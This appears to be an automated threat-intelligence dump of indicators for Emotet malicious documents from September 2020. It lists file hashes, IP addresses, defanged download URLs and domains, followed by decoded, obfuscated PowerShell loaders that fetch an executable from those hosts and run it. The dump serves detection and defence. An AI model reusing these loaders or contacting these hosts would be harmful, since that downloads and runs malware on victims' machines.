Emotet_Doc_out_2020-09-24_00_39.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
e39f691edc4ff1e1fe413e85f4ac03ceace139451e760efb67e195bdd940da7f
e39f691edc4ff1e1fe413e85f4ac03ceace139451e760efb67e195bdd940da7f
6597cce19314dbeb14ef1afdbc6b97dafe8bcc6483f7e4a1031300ac22db531d
6597cce19314dbeb14ef1afdbc6b97dafe8bcc6483f7e4a1031300ac22db531d
6b7169e1405cbfde9ecf5e41b1fda35ad6727c74121fc498048ad01e905d51de
6b7169e1405cbfde9ecf5e41b1fda35ad6727c74121fc498048ad01e905d51de
0a9fba1104c5690ac609faf1d3e0e67d22cb7b1545a4577d1118c9c93782ceee
0a9fba1104c5690ac609faf1d3e0e67d22cb7b1545a4577d1118c9c93782ceee
f652b7523c7ad02479f3dddd2dc9ba0382cc5c9c228ef8d2be73fb97e8a2c23b
d9735d6b5f9b942ce00384c9bbbb997abf37f1ff2580dc4a9ff879670f961c8a
9bf3580debc9cca0d98daede5437d3f9d05589a97f8239278ba209805e8c0379
6eb287c4415cd13a838e22611588a67b3de2af15d6ffd1f1345bf7d94fed20e3
5c71823fdb58d87974e42984373f86844a885139266a5998286d3a8af69a85a7
4b3610dcd68cafba15d271e09c1199364c572ed710c35e9593da52cfef460b51
c53d8edf475ff674233e2780b4393eeca0983f983463ca9a6dc2167e67b39526
2904ccf30ccd72ff68523360807c982c86851b7c1f83b509ff37ea6a03683514
542210ff4a5bcd55269d32986beffc517eedfd9dbf7c26aafc1ef038220a4d27
142cd8f9d1345bb447214064af5a756104776590735e66173c30087e04e94f07
142cd8f9d1345bb447214064af5a756104776590735e66173c30087e04e94f07
37d266bef4815573dae49631f02dfad5bfeea4e5f84eac3c4030fec26343d2c2
37d266bef4815573dae49631f02dfad5bfeea4e5f84eac3c4030fec26343d2c2
a115966eb8c424bdd009722a91a269d04b1f2f646c0f048ee8d08a2d1e3746a7
f5820ef7ce6679d148cff22935378c17bafcb1d922d4cd1f42be94b9a463f621
f5820ef7ce6679d148cff22935378c17bafcb1d922d4cd1f42be94b9a463f621
45d80072d3caf8df2c3d54d35168efdd6a9e53c59a5f5118d1a1c459fa5daa25
45d80072d3caf8df2c3d54d35168efdd6a9e53c59a5f5118d1a1c459fa5daa25
be9534491888cff3e8f85a3833a340d076f227ce551084aa2d7b32dff5561a31
e59549b96cdcadc16e777d0a62eb4b96353dd65ff6714e68f61e75ce526e7178
dfae82013bca633741113a217e0121e03f6184d7c0286fee76dc0a8065fcc658
0bcd0488b2252b2e84d4cea848215f0d67849215c10ab40efca305d9189e24c3
fe1ee74654249e1aa82677b51373ea93fe733aff387bb0c77e0af2fd2a3d230c
93376fc8dbfe2e11658564d1aa1e9088e6f7ad6a61d1ff146651df3d275c839d
b1d1c08b520e22fcababa993c5280c6d4ee437f6b8d975b210780fe78530e581
16f75edb898e43ae44ff9318faed5391597f8d7c77da9893a18293408da5194c
26614fe04700998a42fbb7c3d84cbce63bd4a32aa9de3efe130ee1366827c094
26614fe04700998a42fbb7c3d84cbce63bd4a32aa9de3efe130ee1366827c094
dc22889242c4ec3f0a5cbe5050df8ee1ccc8231c28a144700b02bbaea1e2a1d2
a6f476f3890a16ab1bc37d4f9884aef3270268143283bb31b320f75d82f1bd77
d76beb9930507246b89717374cfb17708c1620872fa103ad612809908b455615
c4fcd5b66279ef72d61e2a9eca50afc27c2ae449495b0fd805a953a161917f13
8cd2d5c58eba4f8ce1eb5d98da9bde8aa551ca76a05daa12477a9d860bcba81f
18aabb0ff9adb2600243c3be590c57bcbeada6451b8ab0d190c1756430730e2f
b2f9a597db846fff8f8fed8d950d0b3be1f06ba1dfe8add6aef001f6d469acfa
63aa49136208c5b3c3fdbf79d9df6814edaf9a9c6a31f76f3141834d9a490790
84d892d9a7fb0b13d3688390c0e4c1eda7945a7531348d664924f48b38e67cdf
729cba2097ab255730f52b381ebd958f1161129256eaecbf528d95a592ea93ce
843b2da06ecf481cd70c1107d6a3ef2e8cf393019f8c6019d1105e0456fc3313
8baf1240f6b87a1faeefc1474c846750b7bcf2feb0aaeeef6ccc53420596b41e
80a62cddb154c4fe984074da01e9a194508de217575d63bce8952458581e211f
fb46ceefd5820015eb459cabc3bcfab6fedb69328039ddaf5c89d4e86c0864dc
4d6009c18bae92b1e904d67ab192ace86b9375c14eeb4eb84401e3a363b403c1
5d7354671a544c392039f3b512158f3505f576f34e4942109e8a7adf19bd07b0
eabfce0e3ace401756754cf86b0f1b5f1057f2a9466eb1b74c4bb1cc0c134d71
b68b9c15c5a7acfeb72e071e97f69d69f7b47e89f701d85bbc2778c70ec89994
fca5ada50488546f6264160c97160e6050ad9a03349fbe82a687f31a1757dc43


IPs:
104.196.113.47
104.27.144.33
104.27.145.33
104.27.164.193
104.27.165.193
104.31.78.42
104.31.79.42
108.167.165.229
162.241.114.56
172.67.138.231
172.67.139.128
172.67.174.178
176.65.242.190
177.185.196.31
180.76.12.17
18.162.119.123
185.104.29.16
195.201.179.80
198.71.233.15
198.71.233.195
198.71.233.47
34.69.189.17
35.208.116.111
47.75.212.100
81.19.145.81
85.25.34.75
95.111.254.124



URLs:
hxxp://khobormalda.com/wp-content/82/
hxxp://blog.zunapro.com/wp-admin/LEE/
hxxp://megasolucoesti.com/R9KDq0O8w/Y/
hxxps://online24h.biz/wp-admin/K/
hxxps://fepami.com/wp-includes/eaI/
hxxp://ora-ks.com/system/cache/w/
hxxp://padamagro.com/wp-admin/Nc/
hxxp://prestokitchens.com/recurringo/fRe/
hxxp://www.djraisor.com/error/w7G3/
hxxp://dakarbuzz.net/css/CyKg/
hxxps://wildecapitalmgmt.net/wp-content/j6/
hxxp://californiaasa.com/californiaasa.com/8t/
hxxp://viralbrown.com/e3c0ngfjc/N/
hxxp://kharazmischl.com/w/
hxxp://inflixon.com/wp-admin/472/
hxxp://bballbreak.com/wp-admin/O/
hxxp://etiangong.com/h5/Gxm/
hxxps://lbbniu.com/idealnotify/y/
hxxp://crashboxcharlotte.com/wp-includes/8/
hxxp://trendyhome.ltd/img4qrg/c/
hxxp://104.196.113.47/wp-admin/D/


Domains:
khobormalda.com
blog.zunapro.com
megasolucoesti.com
online24h.biz
fepami.com
ora-ks.com
padamagro.com
prestokitchens.com
www.djraisor.com
dakarbuzz.net
wildecapitalmgmt.net
californiaasa.com
viralbrown.com
kharazmischl.com
inflixon.com
bballbreak.com
etiangong.com
lbbniu.com
crashboxcharlotte.com
trendyhome.ltd
104.196.113.47


Decoded Base64 Powershell:
<�F��,$B4zma1b=Tyuavch;
&new-item $EnV:uSErPROFIlE\Hyu9hV3\MfNXO3w\ -itemtype DIrECTORY;
[Net.ServicePointManager]::"se`cUrityp`Ro`TOCOl" = tls12, tls11, tls;
$Rcdxic8 = X9ouqft;
$Cyoucpf=Lfvpnut;
$E7271qc=$env:userprofile{0}Hyu9hv3{0}Mfnxo3w{0} -f[cHaR]92$Rcdxic8.exe;
$Qfhta3t=Z02qocr;
$Xgt6i3w=&new-object net.weBClient;
$V5hjcy1=hxxp://khobormalda.com/wp-content/82/
hxxp://blog.zunapro.com/wp-admin/LEE/
hxxp://megasolucoesti.com/R9KDq0O8w/Y/
hxxps://online24h.biz/wp-admin/K/
hxxps://fepami.com/wp-includes/eaI/
hxxp://ora-ks.com/system/cache/w/
hxxp://padamagro.com/wp-admin/Nc/
$Hdjnlrl=Nyups3b;
foreach$M4syh_d in $V5hjcy1{try{$Xgt6i3w."DownL`oAd`FI`lE"$M4syh_d, $E7271qc;
$K59k0_v=D_weyzt;
If .Get-Item $E7271qc."L`EnGTH" -ge 27756 {&Invoke-Item$E7271qc;
$Qfkkgjg=W_mid8h;
break;
$Kbufh0k=Xhm6gx6}}catch{}}$E26w3bh=Tqc_ieb<�F��,$Pha9n8s=Ql8o_fh;
.new-item $ENV:UseRPROFIlE\Wg__3MD\vPny24V\ -itemtype DIRECtOrY;
[Net.ServicePointManager]::"secuRIt`Y`prOtoCol" = tls12, tls11, tls;
$Lnc8cly = Zc1o6l;
$Havkcad=R31m6l2;
$Pe1ern2=$env:userprofileKbQWg__3mdKbQVpny24vKbQ  -RePLACe  KbQ,[cHar]92$Lnc8cly.exe;
$Zz6nqp1=Sinyych;
$E72wbda=.new-object nET.webcLieNT;
$Mnvn2cb=hxxp://prestokitchens.com/recurringo/fRe/
hxxp://www.djraisor.com/error/w7G3/
hxxp://dakarbuzz.net/css/CyKg/
hxxps://wildecapitalmgmt.net/wp-content/j6/
hxxp://californiaasa.com/californiaasa.com/8t/
hxxp://viralbrown.com/e3c0ngfjc/N/
hxxp://kharazmischl.com/w/."s`PliT"[char]42;
$Gq184xp=N3jwk4m;
foreach$Iyzvv5k in $Mnvn2cb{try{$E72wbda."dOw`NLOadfI`lE"$Iyzvv5k, $Pe1ern2;
$G52za0l=Hpv6yp7;
If &Get-Item $Pe1ern2."LeNg`TH" -ge 31777 {&Invoke-Item$Pe1ern2;
$Gcpv6rm=T5zgd77;
break;
$Rp6msrl=Wwncvrd}}catch{}}$Rcb29dp=Kqkexzh<�F��,$S760mac=Uaas98x;
&new-item $ENv:USErPrOFiLE\mM3E3mJ\Gvn3R9l\ -itemtype dIreCtOry;
[Net.ServicePointManager]::"sECur`IT`YProT`ocol" = tls12, tls11, tls;
$Tewsge6 = Fre_i1chm;
$Yezhy45=Ulk7xrk;
$Ow9hzc_=$env:userprofile{0}Mm3e3mj{0}Gvn3r9l{0}  -f [ChaR]92$Tewsge6.exe;
$J3m3tn9=Oa4lh_4;
$Lu1ovkh=.new-object nEt.WEbclIENt;
$J3f2wtp=hxxp://inflixon.com/wp-admin/472/
hxxp://bballbreak.com/wp-admin/O/
hxxp://etiangong.com/h5/Gxm/
hxxps://lbbniu.com/idealnotify/y/
hxxp://crashboxcharlotte.com/wp-includes/8/
hxxp://trendyhome.ltd/img4qrg/c/
hxxp://104.196.113.47/wp-admin/D/."sP`Lit"[char]42;
$Q6c9wvm=R3dmxm5;
foreach$Bcqwma6 in $J3f2wtp{try{$Lu1ovkh."DoWN`L`oAdF`ile"$Bcqwma6, $Ow9hzc_;
$S4nl7v0=Ejyy_s0;
If &Get-Item $Ow9hzc_."le`Ng`TH" -ge 36611 {&Invoke-Item$Ow9hzc_;
$Qj4om53=Cc3jw5i;
break;
$Dwpws4b=N3n9zjg}}catch{}}$H5acakn=P73shmu